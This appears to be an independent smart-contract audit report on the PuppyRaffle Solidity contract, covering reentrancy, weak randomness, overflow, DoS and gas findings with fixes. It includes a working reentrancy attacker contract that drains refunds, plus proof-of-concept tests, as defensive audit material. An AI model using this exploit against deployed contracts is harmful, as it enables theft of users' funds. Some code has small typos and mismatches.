PuppyRaffle Audit Report

Version 1.0

Ramprasad

April 26, 2025

PuppyRaffle-audit-report

Ramprasad

April 26, 2025

Prepared by: Ramprasad

Table of Contents

    * [M-1] Looping through the players array to check for duplicates in `PuppyRaffle::enterRaffle` enables Denial of Service (DoS) and rising gas costs for late entrants
    * [M-2] Smart contract wallet winning the raffle without a `receive` or `fallback` function can block the start of a new competition
  - Low
    * [L-1] Solidity pragma should be specific, not wide
    * [L-2] `PuppyRaffle::getActivePlayerIndex` returns 0 for both non-existent players and players at index 0, causing confusion
  - GAS
    * [G-1] Unchanged variables should be declared constant or immutable
    * [G-2] Storage variable should be cached to avoid redundant storage reads and quadratic gas growth
  - INFORMATIONAL
    * [I-1] Solidity pragma should be specific, not broad
    * [I-2] Using outdated Solidity version is not recommended
    * [I-3] Missing checks for `address(0)` when assigning to address state variables
    * [I-4] `PuppyRaffle::selectWinner` does not follow Checks-Effects-Interactions (CEI) pattern
    * [I-5] Use of magic numbers is discouraged

Disclaimer

This audit was independently conducted by Ramprasad. Every effort was made to identify as many vulnerabilities as possible within the given time frame. However, no guarantees are provided regarding the discovery of all existing issues.

This report focuses solely on the security aspects of the Solidity implementation at the time of the audit. It does not constitute an endorsement of the underlying business model or project viability. Readers should perform their own independent assessments.

Risk Classification

	Impact		
	High	Medium	Low

		Impact		
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

I use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document corresponded the following commit hash:**

```
e30d199697bbc822b646d76533b66b7d529b8ef5
```

Scope

```
./src/
PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.
Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	2
Information	5
Gas	2
Total	14

Findings

Detailed findings start below.

HIGH

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrants to drain the contract balance

Description: The `PuppyRaffle::refund` function does not follow the Checks-Effects-Interactions (CEI) pattern. As a result, participants can drain the contract balance via reentrancy.

In `PuppyRaffle::refund`, an external call is made to `msg.sender` before updating the `PuppyRaffle::players` array. This allows a malicious participant to re-enter the function before their state is updated.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(
        playerAddress == msg.sender,
        "PuppyRaffle: Only the player can refund"
    );
    require(
        playerAddress != address(0),
        "PuppyRaffle: Player already refunded, or is not active"
    );
    payable(msg.sender).sendValue(entranceFee);
    players[playerIndex] = address(0);
    emit RaffleRefunded(playerAddress);
}
```

An attacker can enter the raffle with a contract that implements a fallback or receive function which calls `refund` recursively, allowing them to claim another refund before their entry is marked inactive. This cycle can continue until the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by a malicious participant.

Proof of Concept: 1. A user enters the raffle. 2. The attacker sets up a contract with a fallback function that calls `PuppyRaffle::refund`. 3. The attacker enters the raffle. 4. The attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code

Code

Place the following code in `PuppyRaffleTest.t.sol`:

```
1
2  function test_reentrancyRefund() public {
3          address[] memory players = new address[](4);
4          players[0] = playerOne;
5          players[1] = playerTwo;
6          players[2] = playerThree;
7          players[3] = playerFour;
8          puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
9
10         ReentracncyAttacker attackerContract = new ReentracncyAttacker(
11             puppyRaffle
12         );
13         address attackUser = makeAddr("attackUser");
14         vm.deal(attackUser, 1 ether);
15
16         uint256 startingAttackContractBalance = address(
               attackerContract)
17             .balance;
18         uint256 startingContractBalance = address(puppyRaffle).balance;
19
20         //attack
21         vm.prank(attackUser);
22         attackerContract.attack{value: entranceFee}();
23
24         console.log(
25             "Starting Attacker Contract Balance",
26             startingAttackContractBalance
27         );
28         console.log("Starting Contract Balance ",
               startingContractBalance);
29
30         console.log(
31             "Ending attacker  contract balance: ",
32             address(attackerContract).balance
33         );
```

```
34          console.log(
35              "Starting contract balance: ",
36              address(puppyRaffle).balance
37          );
38      }
39  }
```

Include the following attacker contract as well:

```
1  contract ReentrancyAttacker {
2      PuppyRaffle puppyRaffle;
3      uint256 entranceFee;
4      uint256 attackerIndex;
5
6      constructor(PuppyRaffle _puppyRaffle) {
7          puppyRaffle = _puppyRaffle;
8          entranceFee = puppyRaffle.entranceFee();
9      }
10
11     function attack() external payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
               ;
16         puppyRaffle.refund(attackerIndex);
17     }
18
19     function _stealMoney() internal {
20         if (address(puppyRaffle).balance >= entranceFee) {
21             puppyRaffle.refund(attackerIndex);
22         }
23     }
24
25     fallback() external payable {
26         _stealMoney();
27     }
28
29     receive() external payable {
30         _stealMoney();
31     }
32 }
```

Recommended Mitigation: Reorder the statements in `PuppyRaffle::refund` to update the players array and emit the event before making the external call. This follows the Checks-Effects-Interactions pattern and prevents reentrancy.

```
1  function refund(uint256 playerIndex) public {
2      address playerAddress = players[playerIndex];
3      require(playerAddress == msg.sender, "PuppyRaffle: Only the player
```

```
            can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
            refunded, or is not active");
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinners` allows users to predict or influence the winner and the winning puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` produces a predictable value. Malicious users can manipulate or know these values ahead of time, allowing them to influence or predict the winner of the raffle.

Note: This also allows users to front-run the function and call `refund` if they see they are not the winner.

Impact: Any user can influence the outcome, winning the prize and selecting the rarest puppy. This undermines the fairness of the raffle and can result in a gas war.

Proof of Concept: 1. Validators can know `block.timestamp` and `block.difficulty` ahead of time and use that to predict participation opportunities. See [https://soliditydeveloper.com/prevrandao]—`block.difficulty` has been replaced with `prevrandao`. 2. Users can manipulate their `msg.sender` value so their address is used to generate a favorable winner. 3. Users can revert their `selectWinner` transaction if the result is unfavorable.

Recommended Mitigation: Use a cryptographically secure random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` can cause loss of collected fees

Description: In Solidity versions prior to 0.8.0, integer overflows can occur silently. For example:

```
uint64 myVar = type(uint64).max;
// 18446744073709551615
myVar += 1;
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. If the `totalFees` variable overflows, the `feeAddress` may not be able to collect the correct amount, leaving fees permanently stuck in the contract.

Proof of Concept: 1. Conclude a raffle of 4 players. 2. Have 89 players enter a new raffle and conclude it. 3. `totalFees` will be: `javascript totalFees = totalFees + uint64(fee); //e.g. totalFees = 8000000000000 + 178000000000000; // if overflow occurs, totalFees may wrap around` 4. You will be unable to withdraw, due to the following line in `PuppyRaffle::withdrawFees`: `solidity require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");` Although you could use `selfdestruct` to send ETH to this contract to match the required value and withdraw the fees, this is clearly not intended. Eventually, the contract balance will not match `totalFees` and withdrawal will be impossible.

Code

```
function testTotalFeesOverflow() public playersEntered {
    // Finish a raffle of 4 to collect some fees
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();
    uint256 startingTotalFees = puppyRaffle.totalFees();
    // startingTotalFees = 800000000000000000

    // 89 players enter a new raffle
    uint256 playersNum = 89;
    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(i);
    }
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    // End the raffle
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    // Issue occurs here
    puppyRaffle.selectWinner();
    uint256 endingTotalFees = puppyRaffle.totalFees();
    console.log("ending total fees", endingTotalFees);
    assert(endingTotalFees < startingTotalFees);

    // Unable to withdraw fees due to the require check
    vm.prank(puppyRaffle.feeAddress());
    vm.expectRevert("PuppyRaffle: There are currently players active!")
        ;
    puppyRaffle.withdrawFees();
}
```

Recommended Mitigation:

1. Upgrade to Solidity 0.8.0 or later, which has built-in overflow protection.
2. Use `uint256` instead of `uint64` for `PuppyRaffle::totalFees`.

3. Remove the balance check from `PuppyRaffle::withdrawFees` if it is not strictly necessary: `javascript - require(address(this).balance == uint256(totalFees),"PuppyRaffle: There are currently players active!");` There are additional attack vectors associated with this require, so we recommend removing it as well.

MEDIUM

[M-1] Looping through the players array to check for duplicates in `PuppyRaffle::enterRaffle` enables Denial of Service (DoS) and rising gas costs for late entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. As the array grows, each new entrant must perform more checks. This means gas costs increase for later entrants, potentially discouraging participation and incentivizing a rush to be early.

```
1   // @audit Dos
2         for (uint256 i = 0; i < players.length - 1; i++) {
3             for (uint256 j = i + 1; j < players.length; j++) {
4                 require(
5                     players[i] != players[j],
6                     "PuppyRaffle: Duplicate player"
7                 );
8             }
9         }
```

Impact: Gas costs for raffle entrants increase as more players join, discouraging later participation and potentially causing a rush at the start. An attacker could fill the array and prevent others from entering, guaranteeing their own win.

Proof of Concept: If two sets of 100 players enter, gas used by the first 100 players is 6,252,048. Gas used by the second 100 players is 18,068,138—over 3x more expensive for later entrants.

Poc

Place the following test into `puppyRaffleTest.t.sol`:

```
1  function test_denialServiceAttack() public {
2      vm.txGasPrice(1);
3      // Enter first 100 players
4      uint256 playersNum = 100;
5      address[] memory players = new address[](playersNum);
6      for (uint256 i = 0; i < playersNum; i++) {
7          players[i] = address(i);
8      }
9      uint256 gasStart = gasleft();
```

```
10      puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);
11      uint256 gasEnd = gasleft();
12      uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
13      console.log("Gas used by 1st 100 players is:", gasUsedFirst);
14      // Second 100 players
15      address[] memory playersTwo = new address[](playersNum);
16      for (uint256 i = 0; i < playersNum; i++) {
17          playersTwo[i] = address(i + playersNum);
18      }
19      uint256 gasStartSecond = gasleft();
20      puppyRaffle.enterRaffle{value: entranceFee * playersTwo.length}(
            playersTwo);
21      uint256 gasEndSecond = gasleft();
22      uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
            gasprice;
23      console.log("Gas used by 2nd 100 players is:", gasUsedSecond);
24      assert(gasUsedFirst < gasUsedSecond);
25  }
```

Recommended Mitigation:

1. Consider allowing duplicate addresses. Users can create new wallets anyway, so duplicate checks do not prevent sybil attacks.
2. Alternatively, use a mapping to check for duplicates, which provides constant-time lookups.

[M-2] Smart contract wallet winning the raffle without a `receive` or `fallback` function can block the start of a new competition

Description: `PuppyRaffle::selectWinner` is responsible for resetting the lottery. If the winner is a smart contract wallet that rejects payment (i.e., lacks a fallback or receive function), the lottery cannot restart and the payout fails.

Users may attempt to call `selectWinner` repeatedly, but the lottery cannot reset until the payment succeeds. This can make resetting the competition costly or impossible.

Impact: The `PuppyRaffle::selectWinner` function may revert repeatedly, making it difficult to reset the lottery and blocking new competitions.

Proof of Concept: 1. 10 smart contract wallets enter the lottery, none with a fallback or receive function.
2. The lottery ends. 3. The `selectWinner` function fails to pay the winner, preventing the lottery from resetting.

Recommended Mitigation:

1. Do not allow contract addresses to enter (not recommended).
2. Preferable: Use a mapping of address => payout amounts, so the winner can withdraw their prize via

a `claimPrize` function (pull over push pattern). This puts the responsibility on the winner to claim their prize and avoids blocking the contract.

Low

[L-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
1  pragma solidity ^0.7.6;
```

[L-2] `PuppyRaffle::getActivePlayerIndex` returns 0 for both non-existent players and players at index 0, causing confusion

Description: If a player is in the `PuppyRaffle::players` array at index 0, the function returns 0. According to the NatSpec, it also returns 0 if a player is not in the array. This ambiguity can cause a player at index 0 to incorrectly think they have not entered the raffle.

```
1   function getActivePlayerIndex(
2         address player
3     ) external view returns (uint256) {
4         for (uint256 i = 0; i < players.length; i++) {
5             if (players[i] == player) {
6                 return i;
7             }
8         }
9         return 0;
10    }
```

Impact: A player at index 0 may incorrectly believe they have not entered the raffle, and may try to enter again, wasting gas.

Proof of Concept: 1. User enters the raffle as the first entrant (index 0). 2. `PuppyRaffle::getActivePlayerIndex` returns 0. 3. User thinks they have not entered correctly due to the function documentation.

Recommended Mitigation:
The simplest recommendation is to revert if the player is not found in the array, rather than returning 0. Alternatively, return an `int256` where `-1` indicates the player is not active.

GAS ### [G-1] Unchanged variables should be declared constant or immutable Reading from the storage is much more expensive than the reading from the constant or immutable variable.

```
Instances:
- `PuppyRaffle::raffleDuration` should be immutable
- `PuppyRaffle::commonImageUri ` should be constant
- `PuppyRaffle::rareImageUri` should be constant
- `PuppyRaffle::legendaryImageUri` should be constant
```

[G-2] Storage variable should be cached to avoid redundant storage reads and quadratic gas growth

Every time you call `players.length`, you read from storage, which is more expensive than reading from memory. This inefficiency is especially problematic in nested loops, as it causes quadratic gas growth ($O(n^2)$) for large arrays.

```
+ uint256 playersLength = players.length;
- for (uint256 i = 0; i < players.length - 1; i++) {
+ for (uint256 i = 0; i < playersLength - 1; i++) {
-     for (uint256 j = i + 1; j < players.length; j++) {
+     for (uint256 j = i + 1; j < playersLength; j++) {
          require(
              players[i] != players[j],
              "PuppyRaffle: Duplicate player"
          );
      }
  }
```

This optimization reduces storage reads and improves gas efficiency, especially in nested loops.

INFORMATIONAL

[I-1] Solidity pragma should be specific, not broad

Consider using a specific Solidity version in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

[I-2] Using outdated Solidity version is not recommended

Use the latest version, such as `0.8.18`.

Description: The Solidity compiler frequently releases new versions with security and language improvements. Using an old version prevents access to new security checks. Avoid complex pragma statements as well.

Recommendation:
Deploy with Solidity version `0.8.18` or later.
The recommendations take into account: - Risks related to recent releases - Risks of complex code generation changes - Risks of new language features - Risks of known bugs Use a simple pragma version. Consider using the latest version of Solidity for testing.

See Slither documentation for more information: https://github.com/crytic/slither/wiki/Detector-Documentation#state-variables-that-could-be-declared-constant

[I-3] Missing checks for `address(0)` when assigning to address state variables

Assigning values to address state variables without checking for `address(0)` can introduce risks. Missing such a check can permanently break critical flows such as fee collection.

- Found in src/PuppyRaffle.sol Line: 69 `solidity feeAddress = _feeAddress;`
- Found in src/PuppyRaffle.sol Line: 182 `solidity raffleStartTime = block.timestamp ;`
- Found in src/PuppyRaffle.sol Line: 204 `solidity function changeFeeAddress(address newFeeAddress)external onlyOwner {` **Recommendation:**
  Always check that critical addresses are not set to `address(0)`. Missing this check can permanently disable fee collection or other essential contract flows.

[I-4] `PuppyRaffle::selectWinner` does not follow Checks-Effects-Interactions (CEI) pattern

It is best practice to follow the CEI (Checks-Effects-Interactions) pattern to avoid reentrancy and other issues.

```
- (bool success, ) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner");
  _safeMint(winner, tokenId);
+ (bool success, ) = winner.call{value: prizePool}("");
+ require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of magic numbers is discouraged

It can be confusing to see number literals in a code base. It is much more readable if numbers are given a descriptive name.

Instead of using:

```
1 uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2 uint256 public constant FEE_PERCENTAGE = 20;
3 uint256 public constant POOL_PRECISION = 100;
```